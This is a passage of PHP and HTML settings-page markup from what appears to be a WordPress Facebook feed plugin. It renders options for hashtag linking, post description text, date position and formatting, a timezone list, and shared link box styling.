Facebook page or user in your post using the @ symbol it creates a post tag, which is a link to either that Facebook page or user profile."); ?></p> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_hashtags" class="bump-left"><?php _e('Link Hashtags'); ?></label><code class="cff_shortcode"> linkhashtags Eg: linkhashtags=false</code></th> <td> <input type="checkbox" name="cff_link_hashtags" id="cff_link_hashtags" <?php if($cff_link_hashtags == true) echo 'checked="checked"' ?> /> </td> </tr> <tr id="description"><!-- Quick link --></tr> </tbody> </table> <hr /> <h3><?php _e('Shared Post Description'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_body_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> descsize Eg: descsize=11</code></th> <td> <select name="cff_body_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_body_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_body_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_body_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_body_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_body_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_body_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_body_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_body_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_body_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_body_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_body_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_body_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_body_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_body_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_body_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_body_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_body_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_body_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> descweight Eg: descweight=bold</code></th> <td> <select name="cff_body_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_body_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_body_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_body_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_body_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> desccolor Eg: desccolor=9F9F9F</code></th> <td> <input name="cff_body_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_body_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr id="date"><!-- Quick link --></tr> </tbody> </table> <div style="margin-top: -15px;"> <?php submit_button(); ?> </div> <hr /> <h3><?php _e('Post Date'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_date_position" class="bump-left"><?php _e('Position'); ?></label><code class="cff_shortcode"> datepos Eg: datepos=below</code></th> <td> <select name="cff_date_position" style="width: 300px;"> <option value="author" <?php if($cff_date_position == "author") echo 'selected="selected"' ?> >Immediately under the post author</option> <option value="above" <?php if($cff_date_position == "above") echo 'selected="selected"' ?> >At the top of the post</option> <option value="below" <?php if($cff_date_position == "below") echo 'selected="selected"' ?> >At the bottom of the post</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> datesize Eg: datesize=14</code></th> <td> <select name="cff_date_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_date_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_date_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_date_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_date_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_date_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_date_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_date_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_date_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_date_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_date_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_date_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_date_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_date_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_date_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_date_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_date_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_date_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> dateweight Eg: dateweight=normal</code></th> <td> <select name="cff_date_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_date_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_date_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_date_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> datecolor Eg: datecolor=EAD114</code></th> <td> <input name="cff_date_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_date_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_formatting" class="bump-left"><?php _e('Date Formatting'); ?></label><code class="cff_shortcode"> dateformat Eg: dateformat=3</code></th> <td> <select name="cff_date_formatting" style="width: 300px;"> <?php $original = strtotime('2016-07-25T17:30:00+0000'); ?> <option value="1" <?php if($cff_date_formatting == "1") echo 'selected="selected"' ?> ><?php _e('2 days ago'); ?></option> <option value="2" <?php if($cff_date_formatting == "2") echo 'selected="selected"' ?> ><?php echo date('F jS, g:i a', $original); ?></option> <option value="3" <?php if($cff_date_formatting == "3") echo 'selected="selected"' ?> ><?php echo date('F jS', $original); ?></option> <option value="4" <?php if($cff_date_formatting == "4") echo 'selected="selected"' ?> ><?php echo date('D F jS', $original); ?></option> <option value="5" <?php if($cff_date_formatting == "5") echo 'selected="selected"' ?> ><?php echo date('l F jS', $original); ?></option> <option value="6" <?php if($cff_date_formatting == "6") echo 'selected="selected"' ?> ><?php echo date('D M jS, Y', $original); ?></option> <option value="7" <?php if($cff_date_formatting == "7") echo 'selected="selected"' ?> ><?php echo date('l F jS, Y', $original); ?></option> <option value="8" <?php if($cff_date_formatting == "8") echo 'selected="selected"' ?> ><?php echo date('l F jS, Y - g:i a', $original); ?></option> <option value="9" <?php if($cff_date_formatting == "9") echo 'selected="selected"' ?> ><?php echo date("l M jS, 'y", $original); ?></option> <option value="10" <?php if($cff_date_formatting == "10") echo 'selected="selected"' ?> ><?php echo date('m.d.y', $original); ?></option> <option value="18" <?php if($cff_date_formatting == "18") echo 'selected="selected"' ?> ><?php echo date('m.d.y - G:i', $original); ?></option> <option value="11" <?php if($cff_date_formatting == "11") echo 'selected="selected"' ?> ><?php echo date('m/d/y', $original); ?></option> <option value="12" <?php if($cff_date_formatting == "12") echo 'selected="selected"' ?> ><?php echo date('d.m.y', $original); ?></option> <option value="19" <?php if($cff_date_formatting == "19") echo 'selected="selected"' ?> ><?php echo date('d.m.y - G:i', $original); ?></option> <option value="13" <?php if($cff_date_formatting == "13") echo 'selected="selected"' ?> ><?php echo date('d/m/y', $original); ?></option> <option value="14" <?php if($cff_date_formatting == "14") echo 'selected="selected"' ?> ><?php echo date('d-m-Y, G:i', $original); ?></option> <option value="15" <?php if($cff_date_formatting == "15") echo 'selected="selected"' ?> ><?php echo date('jS F Y, G:i', $original); ?></option> <option value="16" <?php if($cff_date_formatting == "16") echo 'selected="selected"' ?> ><?php echo date('d M Y, G:i', $original); ?></option> <option value="17" <?php if($cff_date_formatting == "17") echo 'selected="selected"' ?> ><?php echo date('l jS F Y, G:i', $original); ?></option> </select> </tr> <tr> <th class="bump-left"><label for="cff_timezone" class="bump-left"><?php _e('Timezone'); ?></label><code class="cff_shortcode"> timezone Eg: timezone="America/New_York" <a href="http://php.net/manual/en/timezones.php" target="_blank">See full list</a></code></th> <td> <select name="cff_timezone" style="width: 300px;"> <option value="Pacific/Midway" <?php if($cff_timezone == "Pacific/Midway") echo 'selected="selected"' ?> ><?php _e('(GMT-11:00) Midway Island, Samoa'); ?></option> <option value="America/Adak" <?php if($cff_timezone == "America/Adak") echo 'selected="selected"' ?> ><?php _e('(GMT-10:00) Hawaii-Aleutian'); ?></option> <option value="Etc/GMT+10" <?php if($cff_timezone == "Etc/GMT+10") echo 'selected="selected"' ?> ><?php _e('(GMT-10:00) Hawaii'); ?></option> <option value="Pacific/Marquesas" <?php if($cff_timezone == "Pacific/Marquesas") echo 'selected="selected"' ?> ><?php _e('(GMT-09:30) Marquesas Islands'); ?></option> <option value="Pacific/Gambier" <?php if($cff_timezone == "Pacific/Gambier") echo 'selected="selected"' ?> ><?php _e('(GMT-09:00) Gambier Islands'); ?></option> <option value="America/Anchorage" <?php if($cff_timezone == "America/Anchorage") echo 'selected="selected"' ?> ><?php _e('(GMT-09:00) Alaska'); ?></option> <option value="America/Ensenada" <?php if($cff_timezone == "America/Ensenada") echo 'selected="selected"' ?> ><?php _e('(GMT-08:00) Tijuana, Baja California'); ?></option> <option value="Etc/GMT+8" <?php if($cff_timezone == "Etc/GMT+8") echo 'selected="selected"' ?> ><?php _e('(GMT-08:00) Pitcairn Islands'); ?></option> <option value="America/Los_Angeles" <?php if($cff_timezone == "America/Los_Angeles") echo 'selected="selected"' ?> ><?php _e('(GMT-08:00) Pacific Time (US & Canada)'); ?></option> <option value="America/Denver" <?php if($cff_timezone == "America/Denver") echo 'selected="selected"' ?> ><?php _e('(GMT-07:00) Mountain Time (US & Canada)'); ?></option> <option value="America/Chihuahua" <?php if($cff_timezone == "America/Chihuahua") echo 'selected="selected"' ?> ><?php _e('(GMT-07:00) Chihuahua, La Paz, Mazatlan'); ?></option> <option value="America/Dawson_Creek" <?php if($cff_timezone == "America/Dawson_Creek") echo 'selected="selected"' ?> ><?php _e('(GMT-07:00) Arizona'); ?></option> <option value="America/Belize" <?php if($cff_timezone == "America/Belize") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Saskatchewan, Central America'); ?></option> <option value="America/Cancun" <?php if($cff_timezone == "America/Cancun") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Guadalajara, Mexico City, Monterrey'); ?></option> <option value="Chile/EasterIsland" <?php if($cff_timezone == "Chile/EasterIsland") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Easter Island'); ?></option> <option value="America/Chicago" <?php if($cff_timezone == "America/Chicago") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Central Time (US & Canada)'); ?></option> <option value="America/New_York" <?php if($cff_timezone == "America/New_York") echo 'selected="selected"' ?> ><?php _e('(GMT-05:00) Eastern Time (US & Canada)'); ?></option> <option value="America/Havana" <?php if($cff_timezone == "America/Havana") echo 'selected="selected"' ?> ><?php _e('(GMT-05:00) Cuba'); ?></option> <option value="America/Bogota" <?php if($cff_timezone == "America/Bogota") echo 'selected="selected"' ?> ><?php _e('(GMT-05:00) Bogota, Lima, Quito, Rio Branco'); ?></option> <option value="America/Caracas" <?php if($cff_timezone == "America/Caracas") echo 'selected="selected"' ?> ><?php _e('(GMT-04:30) Caracas'); ?></option> <option value="America/Santiago" <?php if($cff_timezone == "America/Santiago") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Santiago'); ?></option> <option value="America/La_Paz" <?php if($cff_timezone == "America/La_Paz") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) La Paz'); ?></option> <option value="Atlantic/Stanley" <?php if($cff_timezone == "Atlantic/Stanley") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Faukland Islands'); ?></option> <option value="America/Campo_Grande" <?php if($cff_timezone == "America/Campo_Grande") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Brazil'); ?></option> <option value="America/Goose_Bay" <?php if($cff_timezone == "America/Goose_Bay") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Atlantic Time (Goose Bay)'); ?></option> <option value="America/Glace_Bay" <?php if($cff_timezone == "America/Glace_Bay") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Atlantic Time (Canada)'); ?></option> <option value="America/St_Johns" <?php if($cff_timezone == "America/St_Johns") echo 'selected="selected"' ?> ><?php _e('(GMT-03:30) Newfoundland'); ?></option> <option value="America/Araguaina" <?php if($cff_timezone == "America/Araguaina") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) UTC-3'); ?></option> <option value="America/Montevideo" <?php if($cff_timezone == "America/Montevideo") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Montevideo'); ?></option> <option value="America/Miquelon" <?php if($cff_timezone == "America/Miquelon") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Miquelon, St. Pierre'); ?></option> <option value="America/Godthab" <?php if($cff_timezone == "America/Godthab") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Greenland'); ?></option> <option value="America/Argentina/Buenos_Aires" <?php if($cff_timezone == "America/Argentina/Buenos_Aires") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Buenos Aires'); ?></option> <option value="America/Sao_Paulo" <?php if($cff_timezone == "America/Sao_Paulo") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Brasilia'); ?></option> <option value="America/Noronha" <?php if($cff_timezone == "America/Noronha") echo 'selected="selected"' ?> ><?php _e('(GMT-02:00) Mid-Atlantic'); ?></option> <option value="Atlantic/Cape_Verde" <?php if($cff_timezone == "Atlantic/Cape_Verde") echo 'selected="selected"' ?> ><?php _e('(GMT-01:00) Cape Verde Is.'); ?></option> <option value="Atlantic/Azores" <?php if($cff_timezone == "Atlantic/Azores") echo 'selected="selected"' ?> ><?php _e('(GMT-01:00) Azores'); ?></option> <option value="Europe/Belfast" <?php if($cff_timezone == "Europe/Belfast") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : Belfast'); ?></option> <option value="Europe/Dublin" <?php if($cff_timezone == "Europe/Dublin") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : Dublin'); ?></option> <option value="Europe/Lisbon" <?php if($cff_timezone == "Europe/Lisbon") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : Lisbon'); ?></option> <option value="Europe/London" <?php if($cff_timezone == "Europe/London") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : London'); ?></option> <option value="Africa/Abidjan" <?php if($cff_timezone == "Africa/Abidjan") echo 'selected="selected"' ?> ><?php _e('(GMT) Monrovia, Reykjavik'); ?></option> <option value="Europe/Amsterdam" <?php if($cff_timezone == "Europe/Amsterdam") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna'); ?></option> <option value="Europe/Belgrade" <?php if($cff_timezone == "Europe/Belgrade") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague'); ?></option> <option value="Europe/Brussels" <?php if($cff_timezone == "Europe/Brussels") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Brussels, Copenhagen, Madrid, Paris'); ?></option> <option value="Africa/Algiers" <?php if($cff_timezone == "Africa/Algiers") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) West Central Africa'); ?></option> <option value="Africa/Windhoek" <?php if($cff_timezone == "Africa/Windhoek") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Windhoek'); ?></option> <option value="Asia/Beirut" <?php if($cff_timezone == "Asia/Beirut") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Beirut'); ?></option> <option value="Africa/Cairo" <?php if($cff_timezone == "Africa/Cairo") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Cairo'); ?></option> <option value="Asia/Gaza" <?php if($cff_timezone == "Asia/Gaza") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Gaza'); ?></option> <option value="Africa/Blantyre" <?php if($cff_timezone == "Africa/Blantyre") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Harare, Pretoria'); ?></option> <option value="Asia/Jerusalem" <?php if($cff_timezone == "Asia/Jerusalem") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Jerusalem'); ?></option> <option value="Europe/Helsinki" <?php if($cff_timezone == "Europe/Helsinki") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Helsinki'); ?></option> <option value="Europe/Minsk" <?php if($cff_timezone == "Europe/Minsk") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Minsk'); ?></option> <option value="Asia/Damascus" <?php if($cff_timezone == "Asia/Damascus") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Syria'); ?></option> <option value="Europe/Moscow" <?php if($cff_timezone == "Europe/Moscow") echo 'selected="selected"' ?> ><?php _e('(GMT+03:00) Moscow, St. Petersburg, Volgograd'); ?></option> <option value="Africa/Addis_Ababa" <?php if($cff_timezone == "Africa/Addis_Ababa") echo 'selected="selected"' ?> ><?php _e('(GMT+03:00) Nairobi'); ?></option> <option value="Asia/Tehran" <?php if($cff_timezone == "Asia/Tehran") echo 'selected="selected"' ?> ><?php _e('(GMT+03:30) Tehran'); ?></option> <option value="Asia/Dubai" <?php if($cff_timezone == "Asia/Dubai") echo 'selected="selected"' ?> ><?php _e('(GMT+04:00) Abu Dhabi, Muscat'); ?></option> <option value="Asia/Yerevan" <?php if($cff_timezone == "Asia/Yerevan") echo 'selected="selected"' ?> ><?php _e('(GMT+04:00) Yerevan'); ?></option> <option value="Asia/Kabul" <?php if($cff_timezone == "Asia/Kabul") echo 'selected="selected"' ?> ><?php _e('(GMT+04:30) Kabul'); ?></option> <option value="Asia/Yekaterinburg" <?php if($cff_timezone == "Asia/Yekaterinburg") echo 'selected="selected"' ?> ><?php _e('(GMT+05:00) Ekaterinburg'); ?></option> <option value="Asia/Tashkent" <?php if($cff_timezone == "Asia/Tashkent") echo 'selected="selected"' ?> ><?php _e('(GMT+05:00) Tashkent'); ?></option> <option value="Asia/Kolkata" <?php if($cff_timezone == "Asia/Kolkata") echo 'selected="selected"' ?> ><?php _e('(GMT+05:30) Chennai, Kolkata, Mumbai, New Delhi'); ?></option> <option value="Asia/Katmandu" <?php if($cff_timezone == "Asia/Katmandu") echo 'selected="selected"' ?> ><?php _e('(GMT+05:45) Kathmandu'); ?></option> <option value="Asia/Dhaka" <?php if($cff_timezone == "Asia/Dhaka") echo 'selected="selected"' ?> ><?php _e('(GMT+06:00) Astana, Dhaka'); ?></option> <option value="Asia/Novosibirsk" <?php if($cff_timezone == "Asia/Novosibirsk") echo 'selected="selected"' ?> ><?php _e('(GMT+06:00) Novosibirsk'); ?></option> <option value="Asia/Rangoon" <?php if($cff_timezone == "Asia/Rangoon") echo 'selected="selected"' ?> ><?php _e('(GMT+06:30) Yangon (Rangoon)'); ?></option> <option value="Asia/Bangkok" <?php if($cff_timezone == "Asia/Bangkok") echo 'selected="selected"' ?> ><?php _e('(GMT+07:00) Bangkok, Hanoi, Jakarta'); ?></option> <option value="Asia/Krasnoyarsk" <?php if($cff_timezone == "Asia/Krasnoyarsk") echo 'selected="selected"' ?> ><?php _e('(GMT+07:00) Krasnoyarsk'); ?></option> <option value="Asia/Hong_Kong" <?php if($cff_timezone == "Asia/Hong_Kong") echo 'selected="selected"' ?> ><?php _e('(GMT+08:00) Beijing, Chongqing, Hong Kong, Urumqi'); ?></option> <option value="Asia/Irkutsk" <?php if($cff_timezone == "Asia/Irkutsk") echo 'selected="selected"' ?> ><?php _e('(GMT+08:00) Irkutsk, Ulaan Bataar'); ?></option> <option value="Australia/Perth" <?php if($cff_timezone == "Australia/Perth") echo 'selected="selected"' ?> ><?php _e('(GMT+08:00) Perth'); ?></option> <option value="Australia/Eucla" <?php if($cff_timezone == "Australia/Eucla") echo 'selected="selected"' ?> ><?php _e('(GMT+08:45) Eucla'); ?></option> <option value="Asia/Tokyo" <?php if($cff_timezone == "Asia/Tokyo") echo 'selected="selected"' ?> ><?php _e('(GMT+09:00) Osaka, Sapporo, Tokyo'); ?></option> <option value="Asia/Seoul" <?php if($cff_timezone == "Asia/Seoul") echo 'selected="selected"' ?> ><?php _e('(GMT+09:00) Seoul'); ?></option> <option value="Asia/Yakutsk" <?php if($cff_timezone == "Asia/Yakutsk") echo 'selected="selected"' ?> ><?php _e('(GMT+09:00) Yakutsk'); ?></option> <option value="Australia/Adelaide" <?php if($cff_timezone == "Australia/Adelaide") echo 'selected="selected"' ?> ><?php _e('(GMT+09:30) Adelaide'); ?></option> <option value="Australia/Darwin" <?php if($cff_timezone == "Australia/Darwin") echo 'selected="selected"' ?> ><?php _e('(GMT+09:30) Darwin'); ?></option> <option value="Australia/Brisbane" <?php if($cff_timezone == "Australia/Brisbane") echo 'selected="selected"' ?> ><?php _e('(GMT+10:00) Brisbane'); ?></option> <option value="Australia/Hobart" <?php if($cff_timezone == "Australia/Hobart") echo 'selected="selected"' ?> ><?php _e('(GMT+10:00) Hobart'); ?></option> <option value="Asia/Vladivostok" <?php if($cff_timezone == "Asia/Vladivostok") echo 'selected="selected"' ?> ><?php _e('(GMT+10:00) Vladivostok'); ?></option> <option value="Australia/Lord_Howe" <?php if($cff_timezone == "Australia/Lord_Howe") echo 'selected="selected"' ?> ><?php _e('(GMT+10:30) Lord Howe Island'); ?></option> <option value="Etc/GMT-11" <?php if($cff_timezone == "Etc/GMT-11") echo 'selected="selected"' ?> ><?php _e('(GMT+11:00) Solomon Is., New Caledonia'); ?></option> <option value="Asia/Magadan" <?php if($cff_timezone == "Asia/Magadan") echo 'selected="selected"' ?> ><?php _e('(GMT+11:00) Magadan'); ?></option> <option value="Pacific/Norfolk" <?php if($cff_timezone == "Pacific/Norfolk") echo 'selected="selected"' ?> ><?php _e('(GMT+11:30) Norfolk Island'); ?></option> <option value="Asia/Anadyr" <?php if($cff_timezone == "Asia/Anadyr") echo 'selected="selected"' ?> ><?php _e('(GMT+12:00) Anadyr, Kamchatka'); ?></option> <option value="Pacific/Auckland" <?php if($cff_timezone == "Pacific/Auckland") echo 'selected="selected"' ?> ><?php _e('(GMT+12:00) Auckland, Wellington'); ?></option> <option value="Etc/GMT-12" <?php if($cff_timezone == "Etc/GMT-12") echo 'selected="selected"' ?> ><?php _e('(GMT+12:00) Fiji, Kamchatka, Marshall Is.'); ?></option> <option value="Pacific/Chatham" <?php if($cff_timezone == "Pacific/Chatham") echo 'selected="selected"' ?> ><?php _e('(GMT+12:45) Chatham Islands'); ?></option> <option value="Pacific/Tongatapu" <?php if($cff_timezone == "Pacific/Tongatapu") echo 'selected="selected"' ?> ><?php _e('(GMT+13:00) Nuku\'alofa'); ?></option> <option value="Pacific/Kiritimati" <?php if($cff_timezone == "Pacific/Kiritimati") echo 'selected="selected"' ?> ><?php _e('(GMT+14:00) Kiritimati'); ?></option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_custom" class="bump-left"><?php _e('Custom Format'); ?></label><code class="cff_shortcode"> datecustom Eg: datecustom='D M jS, Y'</code></th> <td> <input name="cff_date_custom" type="text" value="<?php esc_attr_e( $cff_date_custom ); ?>" size="10" placeholder="Eg. F j, Y" /> <a href="http://smashballoon.com/custom-facebook-feed/docs/date/" class="cff-external-link" target="_blank"><?php _e('Examples'); ?></a> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_before" class="bump-left"><?php _e('Text Before Date'); ?></label></th> <td> <input name="cff_date_before" type="text" value="<?php esc_attr_e( $cff_date_before ); ?>" size="20" placeholder="Eg. Posted" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('You can add custom text here to display immediately <b>before</b> the date text'); ?></p> </td> </tr> <tr> <th class="bump-left"><label for="cff_date_after" class="bump-left"><?php _e('Text After Date'); ?></label></th> <td> <input name="cff_date_after" type="text" value="<?php esc_attr_e( $cff_date_after ); ?>" size="20" placeholder="Eg. by ___" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('You can add custom text here to display immediately <b>after</b> the date text'); ?></p> </td> </tr> <tr id="links"><!-- Quick link --></tr> </tbody> </table> <hr /> <h3><?php _e('Shared Link Boxes'); ?></h3> <table class="form-table"> <tbody> <tr class="cff-settings-row-header"><th>Box Style</th></tr> <tr> <th class="bump-left"><label for="cff_link_bg_color" class="bump-left"><?php _e('Link Box Background Color'); ?></label><code class="cff_shortcode"> linkbgcolor Eg: linkbgcolor='EEE'</code></th> <td> <input name="cff_link_bg_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_link_bg_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_border_color" class="bump-left"><?php _e('Link Box Border Color'); ?></label><code class="cff_shortcode"> linkbordercolor Eg: linkbordercolor='CCC'</code></th> <td> <input name="cff_link_border_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_link_border_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_disable_link_box" class="bump-left"><?php _e('Remove Background/Border'); ?></label><code class="cff_shortcode"> disablelinkbox Eg: disablelinkbox=true</code></th> <td><input type="checkbox" name="cff_disable_link_box" id="cff_disable_link_box" <?php if($cff_disable_link_box == true) echo 'checked="checked"' ?> /></td> </tr> <tr class="cff-settings-row-header"><th>Link Title</th></tr> <tr> <th class="bump-left"><label for="cff_link_title_format" class="bump-left"><?php _e('Link Title Format'); ?></label><code class="cff_shortcode"> linktitleformat Eg: linktitleformat='h3'</code></th> <td> <select name="cff_link_title_format" class="cff-text-size-setting"> <option value="p" <?php if($cff_link_title_format == "p") echo 'selected="selected"' ?> >Paragraph</option> <option value="h3" <?php if($cff_link_title_format == "h3") echo 'selected="selected"' ?> >Heading 3</option> <option value="h4" <?php if($cff_link_title_format == "h4") echo 'selected="selected"' ?> >Heading 4</option> <option value="h5" <?php if($cff_link_title_format == "h5") echo 'selected="selected"' ?> >Heading 5</option> <option value="h6" <?php if($cff_link_title_format == "h6") echo 'selected="selected"' ?> >Heading 6</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_title_size" class="bump-left"><?php _e('Link Title Size'); ?></label><code class="cff_shortcode"> linktitlesize Eg: linktitlesize='18'</code></th> <td> <select name="cff_link_title_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_link_title_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_link_title_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_link_title_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_link_title_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_link_title_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_link_title_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_link_title_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_link_title_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_link_title_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_link_title_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_link_title_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_link_title_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_link_title_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_link_title_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_link_title_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_link_title_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_link_title_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_title_color" class="bump-left"><?php _e('Link Title Color'); ?></label><code class="cff_shortcode"> linktitlecolor Eg: linktitlecolor='ff0000'</code></th> <td> <input name="cff_link_title_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_link_title_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr class="cff-settings-row-header"><th>Link URL</th></tr> <tr> <th class="bump-left"><label for="cff_link_url_size" class="bump-left"><?php _e('Link URL Size'); ?></label><code class="cff_shortcode"> linkurlsize Eg: linkurlsize='12'</code></th> <td> <select name="cff_link_url_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_link_url_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_link_url_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php 